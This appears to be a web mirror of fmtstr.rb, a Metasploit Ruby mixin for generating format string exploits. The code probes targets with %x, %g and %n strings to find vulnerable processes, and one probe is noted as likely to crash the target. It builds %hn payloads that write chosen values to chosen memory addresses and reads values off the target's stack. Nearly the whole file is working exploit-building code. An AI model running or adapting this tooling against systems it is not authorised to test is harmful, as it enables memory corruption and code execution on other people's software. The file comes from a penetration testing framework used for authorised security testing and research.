Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

fmtstr.rb 6.1KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283
  1. # -*- coding: binary -*-
  2. module Msf
  3. ###
  4. #
  5. # This mixin provides an interface to generating format string exploits
  6. # in a more intelligent way.
  7. #
  8. # Author: jduck
  9. ###
  10. module Exploit::FormatString
  11. #
  12. # Creates an instance of a format string exploit
  13. #
  14. def initialize(info = {})
  15. super
  16. @use_fpu = false
  17. @use_dpa = false
  18. end
  19. #
  20. # Allow caller to override the capabilities
  21. #
  22. def fmtstr_set_caps(fpu, dpa)
  23. @use_fpu = fpu
  24. @use_dpa = dpa
  25. end
  26. #
  27. # Detect the capabilities (only works for non-blind)
  28. #
  29. def fmtstr_detect_caps
  30. @use_dpa = fmtstr_detect_cap_dpa
  31. @use_fpu = fmtstr_detect_cap_fpu
  32. #print_status("support dpa:#{@use_dpa.to_s}, fpu:#{@use_fpu.to_s}")
  33. end
  34. def fmtstr_detect_cap_dpa
  35. res = trigger_fmt("|%1$08x|")
  36. return nil if not res
  37. res = extract_fmt_output(res)
  38. if res =~ /^\|[0-9a-f]{8}\|$/
  39. return true
  40. end
  41. return false
  42. end
  43. def fmtstr_detect_cap_fpu
  44. res = trigger_fmt("|%g|")
  45. return nil if not res
  46. res = extract_fmt_output(res)
  47. if res =~ /^\|[\-0-9]+\.[0-9]+\|$/
  48. return true
  49. end
  50. return false
  51. end
  52. def fmtstr_detect_vulnerable
  53. res = trigger_fmt("|%08x|")
  54. return false if not res
  55. res = extract_fmt_output(res)
  56. if res =~ /^\|[0-9a-f]{8}\|$/
  57. return true
  58. end
  59. return false
  60. end
  61. # NOTE: This will likely crash the target process
  62. def fmtstr_detect_exploitable
  63. begin
  64. res = trigger_fmt("|" + ("%n" * 16) + "|")
  65. rescue ::Exception
  66. res = nil
  67. end
  68. return true if not res
  69. res = extract_fmt_output(res)
  70. if res =~ /^\|\|$/
  71. return true
  72. end
  73. return false
  74. end
  75. #
  76. # Generates a format string that will perform an arbitrary write using
  77. # two separate short values
  78. #
  79. def generate_fmt_two_shorts(num_printed, write_to, write_what, targ = target)
  80. arr = Array.new
  81. arr << [ write_what & 0xffff, write_to ]
  82. arr << [ write_what >> 16, write_to + 2 ]
  83. stuff = fmtstr_gen_from_array(num_printed, arr, targ)
  84. end
  85. #
  86. # Generates a format string that will perform an arbitrary write using
  87. # two separate short values
  88. #
  89. def generate_fmtstr_from_buf(num_printed, write_to, buffer, targ = target)
  90. # break buffer into shorts
  91. arr = fmtstr_gen_array_from_buf(write_to, buffer, targ)
  92. # now build the format string in its entirety
  93. stuff = fmtstr_gen_from_array(num_printed, arr, targ)
  94. end
  95. #
  96. # Generates and returns an array of what/where pairs from the supplied buffer
  97. #
  98. def fmtstr_gen_array_from_buf(write_to, buffer, targ = target)
  99. # break buffer into shorts
  100. arr = Array.new
  101. off = 0
  102. if ((buffer.length % 2) == 1)
  103. buffer << rand_text(1)
  104. end
  105. while off < buffer.length
  106. # convert short to number
  107. tb = buffer[off,2].unpack('v')[0].to_i
  108. #print_status("%d %d %d" % [off,buffer.length,tb])
  109. addr = write_to + off
  110. arr << [ tb, addr ]
  111. off += 2
  112. end
  113. return arr
  114. end
  115. #
  116. # Generates a format string from an array of value/address pairs
  117. #
  118. def fmtstr_gen_from_array(num_printed, arr, targ = target)
  119. num_pops = targ['NumPops']
  120. num_pad = targ['PadBytes'] || 0
  121. # sort the array -- for optimization
  122. arr = arr.sort { |x,y| x[0] <=> y[0] }
  123. # build up the addrs and fmts buffers
  124. fmts = ""
  125. addrs = ""
  126. num = fmtstr_count_printed(num_printed, num_pad, num_pops, arr)
  127. arr.each do |el|
  128. # find out how much to advance the column value
  129. prec = fmtstr_target_short(el[0], num)
  130. # for non-dpa, if the prec is more than 8, we need something to pop
  131. if not @use_dpa and prec >= 8
  132. addrs << rand_text(4)
  133. end
  134. # write here!
  135. addrs << [el[1]].pack('V')
  136. # put our advancement fmt (or bytes)
  137. fmts << fmtstr_advance_count(prec)
  138. # fmt to cause the write :)
  139. if @use_dpa
  140. fmts << "%" + num_pops.to_s + "$hn"
  141. num_pops += 1
  142. else
  143. fmts << "%hn"
  144. end
  145. # update written count
  146. num = el[0]
  147. end
  148. # make sure we dont have bad characters ...
  149. if (bad_idx = Rex::Text.badchar_index(addrs, payload_badchars))
  150. raise BadcharError.new(addrs, bad_idx, addrs.length, addrs[bad_idx]),
  151. "The format string address area contains invalid characters.",
  152. caller
  153. end
  154. # put it all together
  155. stuff = rand_text(num_pad)
  156. stuff << addrs
  157. if not @use_dpa
  158. stuff << "%8x" * num_pops
  159. end
  160. stuff << fmts
  161. return stuff
  162. end
  163. #
  164. # Count how many bytes will print before we reach the writing..
  165. #
  166. def fmtstr_count_printed(num_printed, num_pad, num_pops, arr)
  167. num = num_printed + num_pad
  168. if not @use_dpa
  169. num += (8 * num_pops)
  170. end
  171. npr = num
  172. arr.each do |el|
  173. prec = fmtstr_target_short(el[0], npr)
  174. # this gets popped in order to advance the column (dpa doesn't need these)
  175. if not @use_dpa and prec >= 8
  176. num += 4
  177. end
  178. # account for the addr to write to
  179. num += 4
  180. npr = el[0]
  181. end
  182. return num
  183. end
  184. #
  185. # Generate the number to be used for precision that will create
  186. # the specified value to write
  187. #
  188. def fmtstr_target_short(value, num_printed)
  189. if value < num_printed
  190. return (0x10000 - num_printed) + value
  191. end
  192. return value - num_printed
  193. end
  194. #
  195. # Generate a fmt that will advance the printed count by the specified amount
  196. #
  197. def fmtstr_advance_count(prec)
  198. # no need to advance :)
  199. return "" if prec == 0
  200. # assuming %x max normal length is 8...
  201. if prec >= 8
  202. return "%0" + prec.to_s + "x"
  203. end
  204. # anything else, we just put some chars in...
  205. return rand_text(prec)
  206. end
  207. #
  208. # Read a single 32-bit integer from the stack at the specified offset
  209. #
  210. def fmtstr_stack_read(offset, extra = '')
  211. # cant read offset 0!
  212. return nil if offset < 1
  213. fmt = ''
  214. fmt << extra
  215. if @use_dpa
  216. fmt << "|%" + offset.to_s + "$x"
  217. else
  218. x = offset
  219. if @use_fpu and x >= 2
  220. fmt << "%g" * (x/2)
  221. x %= 2;
  222. end
  223. fmt << "%x" * (x-1)
  224. fmt << "|"
  225. fmt << "%x"
  226. end
  227. res = trigger_fmt(fmt)
  228. return res if not res
  229. numstr = extract_fmt_output(res)
  230. dw = numstr.split('|')[1].to_i(16)
  231. end
  232. end
  233. end